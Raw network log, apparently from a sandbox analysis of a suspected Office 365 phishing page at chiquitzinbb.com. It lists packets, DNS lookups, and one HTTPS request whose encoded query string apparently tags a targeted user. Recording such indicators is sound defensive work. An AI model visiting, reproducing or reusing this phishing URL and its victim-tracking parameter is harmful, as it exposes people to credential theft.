Oct 24, 2024 16:05:49.971015930 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.971035004 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.971132040 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.971132040 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.971154928 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.971206903 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.971215963 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.973639965 CEST	49941	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.973726988 CEST	443	49941	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.973809958 CEST	49941	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.974019051 CEST	49941	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.974071026 CEST	443	49941	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.990165949 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.990506887 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.990523100 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.991276979 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.991285086 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.065304995 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.065371037 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.065479994 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.065498114 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.065654993 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.065654993 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.065740108 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.065762043 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.067775965 CEST	49942	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.067853928 CEST	443	49942	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.068022966 CEST	49942	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.068095922 CEST	49942	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.068115950 CEST	443	49942	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.068248034 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.068876982 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.068877935 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.068896055 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.068931103 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.123411894 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.123605013 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.123666048 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.123884916 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.123902082 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.123931885 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.123939037 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.125840902 CEST	49943	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.125881910 CEST	443	49943	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.125966072 CEST	49943	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.126116037 CEST	49943	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.126144886 CEST	443	49943	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.135875940 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.135891914 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.135936022 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.135962963 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.136068106 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.136121035 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.136121035 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.136142015 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.136163950 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.137914896 CEST	49944	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.137948036 CEST	443	49944	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.138025045 CEST	49944	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.138134003 CEST	49944	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.138144016 CEST	443	49944	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.212970972 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.213160992 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.213383913 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.213506937 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.213506937 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.213555098 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.213584900 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.216243982 CEST	49945	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.216305017 CEST	443	49945	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:50.216396093 CEST	49945	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.216703892 CEST	49945	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:50.216722965 CEST	443	49945	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:51.038660049 CEST	443	49944	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:51.039994955 CEST	49944	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:51.039994955 CEST	49944	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:51.040041924 CEST	443	49944	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:51.040081024 CEST	443	49944	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:51.041804075 CEST	443	49945	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:51.042717934 CEST	49945	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:51.042718887 CEST	49945	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:51.042762041 CEST	443	49945	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:51.042804956 CEST	443	49945	13.107.246.60	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 16:04:30.030627966 CEST	53	63606	1.1.1.1	192.168.2.4
Oct 24, 2024 16:04:30.583292007 CEST	53	54084	1.1.1.1	192.168.2.4
Oct 24, 2024 16:04:31.675563097 CEST	64037	53	192.168.2.4	1.1.1.1
Oct 24, 2024 16:04:31.675831079 CEST	55720	53	192.168.2.4	1.1.1.1
Oct 24, 2024 16:04:31.817693949 CEST	53	64017	1.1.1.1	192.168.2.4
Oct 24, 2024 16:04:31.929483891 CEST	53	64037	1.1.1.1	192.168.2.4
Oct 24, 2024 16:04:32.066591024 CEST	53	55720	1.1.1.1	192.168.2.4
Oct 24, 2024 16:04:33.127085924 CEST	51636	53	192.168.2.4	1.1.1.1
Oct 24, 2024 16:04:33.127345085 CEST	64198	53	192.168.2.4	1.1.1.1
Oct 24, 2024 16:04:33.134608984 CEST	53	51636	1.1.1.1	192.168.2.4
Oct 24, 2024 16:04:33.134676933 CEST	53	64198	1.1.1.1	192.168.2.4
Oct 24, 2024 16:04:34.492153883 CEST	58383	53	192.168.2.4	1.1.1.1
Oct 24, 2024 16:04:34.492348909 CEST	49506	53	192.168.2.4	1.1.1.1
Oct 24, 2024 16:04:34.500283957 CEST	53	49506	1.1.1.1	192.168.2.4
Oct 24, 2024 16:04:34.503400087 CEST	53	58383	1.1.1.1	192.168.2.4
Oct 24, 2024 16:04:34.899679899 CEST	62841	53	192.168.2.4	1.1.1.1
Oct 24, 2024 16:04:34.899909019 CEST	62947	53	192.168.2.4	1.1.1.1
Oct 24, 2024 16:04:35.132707119 CEST	53	62947	1.1.1.1	192.168.2.4
Oct 24, 2024 16:04:35.145389080 CEST	53	62841	1.1.1.1	192.168.2.4
Oct 24, 2024 16:04:35.940515995 CEST	64783	53	192.168.2.4	1.1.1.1
Oct 24, 2024 16:04:35.941144943 CEST	54483	53	192.168.2.4	1.1.1.1
Oct 24, 2024 16:04:35.945746899 CEST	52677	53	192.168.2.4	1.1.1.1
Oct 24, 2024 16:04:35.946134090 CEST	56984	53	192.168.2.4	1.1.1.1
Oct 24, 2024 16:04:35.951962948 CEST	53	54483	1.1.1.1	192.168.2.4
Oct 24, 2024 16:04:35.955615997 CEST	53	52677	1.1.1.1	192.168.2.4
Oct 24, 2024 16:04:35.957376003 CEST	53	56984	1.1.1.1	192.168.2.4
Oct 24, 2024 16:04:35.961934090 CEST	53	64783	1.1.1.1	192.168.2.4
Oct 24, 2024 16:04:35.994802952 CEST	64992	53	192.168.2.4	1.1.1.1
Oct 24, 2024 16:04:35.995012045 CEST	50713	53	192.168.2.4	1.1.1.1
Oct 24, 2024 16:04:36.005199909 CEST	53	50713	1.1.1.1	192.168.2.4
Oct 24, 2024 16:04:36.005633116 CEST	53	64992	1.1.1.1	192.168.2.4
Oct 24, 2024 16:04:36.069715977 CEST	53	52102	1.1.1.1	192.168.2.4
Oct 24, 2024 16:04:37.292036057 CEST	55403	53	192.168.2.4	1.1.1.1
Oct 24, 2024 16:04:37.292213917 CEST	60163	53	192.168.2.4	1.1.1.1
Oct 24, 2024 16:04:37.299171925 CEST	53	60163	1.1.1.1	192.168.2.4
Oct 24, 2024 16:04:37.299457073 CEST	53	55403	1.1.1.1	192.168.2.4
Oct 24, 2024 16:04:40.700803041 CEST	138	138	192.168.2.4	192.168.2.255
Oct 24, 2024 16:04:48.817178011 CEST	53	60319	1.1.1.1	192.168.2.4
Oct 24, 2024 16:05:07.842915058 CEST	53	62007	1.1.1.1	192.168.2.4
Oct 24, 2024 16:05:29.554802895 CEST	53	54158	1.1.1.1	192.168.2.4
Oct 24, 2024 16:05:31.311228037 CEST	53	55367	1.1.1.1	192.168.2.4
Oct 24, 2024 16:05:33.188150883 CEST	64608	53	192.168.2.4	1.1.1.1
Oct 24, 2024 16:05:33.188347101 CEST	58626	53	192.168.2.4	1.1.1.1
Oct 24, 2024 16:05:33.195406914 CEST	53	64608	1.1.1.1	192.168.2.4
Oct 24, 2024 16:05:33.196034908 CEST	53	58626	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 24, 2024 16:04:32.066673994 CEST	192.168.2.4	1.1.1.1	c22b	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 16:04:31.675563097 CEST	192.168.2.4	1.1.1.1	0xd0cd	Standard query (0)	chiquitzinbb.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:31.675831079 CEST	192.168.2.4	1.1.1.1	0x5546	Standard query (0)	chiquitzinbb.com	65	IN (0x0001)	false
Oct 24, 2024 16:04:33.127085924 CEST	192.168.2.4	1.1.1.1	0xad39	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:33.127345085 CEST	192.168.2.4	1.1.1.1	0x9b88	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 24, 2024 16:04:34.492153883 CEST	192.168.2.4	1.1.1.1	0xa812	Standard query (0)	cdn.socket.io	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:34.492348909 CEST	192.168.2.4	1.1.1.1	0x365e	Standard query (0)	cdn.socket.io	65	IN (0x0001)	false
Oct 24, 2024 16:04:34.899679899 CEST	192.168.2.4	1.1.1.1	0x4507	Standard query (0)	chiquitzinbb.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:34.899909019 CEST	192.168.2.4	1.1.1.1	0xf585	Standard query (0)	chiquitzinbb.com	65	IN (0x0001)	false
Oct 24, 2024 16:04:35.940515995 CEST	192.168.2.4	1.1.1.1	0x544b	Standard query (0)	cdn.socket.io	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:35.941144943 CEST	192.168.2.4	1.1.1.1	0x7f93	Standard query (0)	cdn.socket.io	65	IN (0x0001)	false
Oct 24, 2024 16:04:35.945746899 CEST	192.168.2.4	1.1.1.1	0x61b5	Standard query (0)	www.w3schools.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:35.946134090 CEST	192.168.2.4	1.1.1.1	0x9747	Standard query (0)	www.w3schools.com	65	IN (0x0001)	false
Oct 24, 2024 16:04:35.994802952 CEST	192.168.2.4	1.1.1.1	0xca62	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:35.995012045 CEST	192.168.2.4	1.1.1.1	0x2021	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Oct 24, 2024 16:04:37.292036057 CEST	192.168.2.4	1.1.1.1	0x5f3	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:37.292213917 CEST	192.168.2.4	1.1.1.1	0xdbcc	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Oct 24, 2024 16:05:33.188150883 CEST	192.168.2.4	1.1.1.1	0xfee9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:05:33.188347101 CEST	192.168.2.4	1.1.1.1	0x49f4	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 24, 2024 16:04:31.929483891 CEST	1.1.1.1	192.168.2.4	0xd0cd	No error (0)	chiquitzinbb.com		157.230.134.73	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:33.134608984 CEST	1.1.1.1	192.168.2.4	0xad39	No error (0)	www.google.com		216.58.206.68	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:33.134676933 CEST	1.1.1.1	192.168.2.4	0x9b88	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 24, 2024 16:04:34.500283957 CEST	1.1.1.1	192.168.2.4	0x365e	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:04:34.503400087 CEST	1.1.1.1	192.168.2.4	0xa812	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:04:34.503400087 CEST	1.1.1.1	192.168.2.4	0xa812	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.33	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:34.503400087 CEST	1.1.1.1	192.168.2.4	0xa812	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.5	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:34.503400087 CEST	1.1.1.1	192.168.2.4	0xa812	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.78	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:34.503400087 CEST	1.1.1.1	192.168.2.4	0xa812	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.89	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:35.145389080 CEST	1.1.1.1	192.168.2.4	0x4507	No error (0)	chiquitzinbb.com		157.230.134.73	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:35.951962948 CEST	1.1.1.1	192.168.2.4	0x7f93	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:04:35.955615997 CEST	1.1.1.1	192.168.2.4	0x61b5	No error (0)	www.w3schools.com	cs837.wac.edgecastcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:04:35.955615997 CEST	1.1.1.1	192.168.2.4	0x61b5	No error (0)	cs837.wac.edgecastcdn.net		192.229.133.221	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:35.957376003 CEST	1.1.1.1	192.168.2.4	0x9747	No error (0)	www.w3schools.com	cs837.wac.edgecastcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:04:35.961934090 CEST	1.1.1.1	192.168.2.4	0x544b	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:04:35.961934090 CEST	1.1.1.1	192.168.2.4	0x544b	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.5	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:35.961934090 CEST	1.1.1.1	192.168.2.4	0x544b	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.89	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:35.961934090 CEST	1.1.1.1	192.168.2.4	0x544b	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.78	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:35.961934090 CEST	1.1.1.1	192.168.2.4	0x544b	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.33	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:35.999751091 CEST	1.1.1.1	192.168.2.4	0x6440	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:04:35.999751091 CEST	1.1.1.1	192.168.2.4	0x6440	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:36.000860929 CEST	1.1.1.1	192.168.2.4	0x4388	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:04:36.000860929 CEST	1.1.1.1	192.168.2.4	0x4388	No error (0)	dual.s-part-0017.t-0009.fb-t-msedge.net	s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:04:36.000860929 CEST	1.1.1.1	192.168.2.4	0x4388	No error (0)	s-part-0017.t-0009.fb-t-msedge.net		13.107.253.45	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:36.005199909 CEST	1.1.1.1	192.168.2.4	0x2021	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:04:36.005199909 CEST	1.1.1.1	192.168.2.4	0x2021	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:04:36.005633116 CEST	1.1.1.1	192.168.2.4	0xca62	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:04:36.005633116 CEST	1.1.1.1	192.168.2.4	0xca62	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:04:36.005633116 CEST	1.1.1.1	192.168.2.4	0xca62	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:36.896390915 CEST	1.1.1.1	192.168.2.4	0xd457	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:04:36.896390915 CEST	1.1.1.1	192.168.2.4	0xd457	No error (0)	dual.s-part-0017.t-0009.fb-t-msedge.net	s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:04:36.896390915 CEST	1.1.1.1	192.168.2.4	0xd457	No error (0)	s-part-0017.t-0009.fb-t-msedge.net		13.107.253.45	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:37.057758093 CEST	1.1.1.1	192.168.2.4	0x2a	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:04:37.057758093 CEST	1.1.1.1	192.168.2.4	0x2a	No error (0)	dual.s-part-0017.t-0009.fb-t-msedge.net	s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:04:37.057758093 CEST	1.1.1.1	192.168.2.4	0x2a	No error (0)	s-part-0017.t-0009.fb-t-msedge.net		13.107.253.45	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:37.299171925 CEST	1.1.1.1	192.168.2.4	0xdbcc	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:04:37.299171925 CEST	1.1.1.1	192.168.2.4	0xdbcc	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:04:37.299457073 CEST	1.1.1.1	192.168.2.4	0x5f3	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:04:37.299457073 CEST	1.1.1.1	192.168.2.4	0x5f3	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:04:37.299457073 CEST	1.1.1.1	192.168.2.4	0x5f3	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:04:47.079410076 CEST	1.1.1.1	192.168.2.4	0x9c58	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:04:47.079410076 CEST	1.1.1.1	192.168.2.4	0x9c58	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:05:03.915808916 CEST	1.1.1.1	192.168.2.4	0x4f1e	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:05:03.915808916 CEST	1.1.1.1	192.168.2.4	0x4f1e	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:05:16.577476978 CEST	1.1.1.1	192.168.2.4	0x540a	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:05:16.577476978 CEST	1.1.1.1	192.168.2.4	0x540a	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:05:33.195406914 CEST	1.1.1.1	192.168.2.4	0xfee9	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
Oct 24, 2024 16:05:33.196034908 CEST	1.1.1.1	192.168.2.4	0x49f4	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 24, 2024 16:05:43.834053040 CEST	1.1.1.1	192.168.2.4	0xab91	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:05:43.834053040 CEST	1.1.1.1	192.168.2.4	0xab91	No error (0)	dual.s-part-0017.t-0009.fb-t-msedge.net	s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 16:05:43.834053040 CEST	1.1.1.1	192.168.2.4	0xab91	No error (0)	s-part-0017.t-0009.fb-t-msedge.net		13.107.253.45	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

chiquitzinbb.com

https:

cdn.socket.io

aadcdn.msauth.net

logincdn.msauth.net

www.w3schools.com

aadcdn.msftauth.net

fs.microsoft.com

otelrules.azureedge.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	157.230.134.73	443	5012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:04:32 UTC	740	OUT	GET /o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N HTTP/1.1 Host: chiquitzinbb.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 14:04:33 UTC	336	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:04:33 GMT Server: Apache X-Powered-By: PHP/7.2.34 Cache-Control: no-store Set-Cookie: _cid=3208f6c68a77d81894f07f02460fe283; expires=Thu, 24-Oct-2024 14:05:33 GMT; Max-Age=60 X-Powered-By: PleskLin Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-10-24 14:04:33 UTC	6	IN	Data Raw: 31 32 36 39 0d 0a Data Ascii: 1269
2024-10-24 14:04:33 UTC	4713	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 59 6f 75 20 6e 65 65 64 20 74 6f 20 65 6e 61 62 6c 65 20 4a 61 76 61 53 63 72 69 70 74 20 74 6f 20 72 75 6e 20 74 68 69 73 20 61 70 70 2e 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 72 6f 6f 74 22 3e 0a 20 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> </head> <body> <noscript>You need to enable JavaScript to run this app.</noscript> <div id="root">
2024-10-24 14:04:33 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-24 14:04:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	157.230.134.73	443	5012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
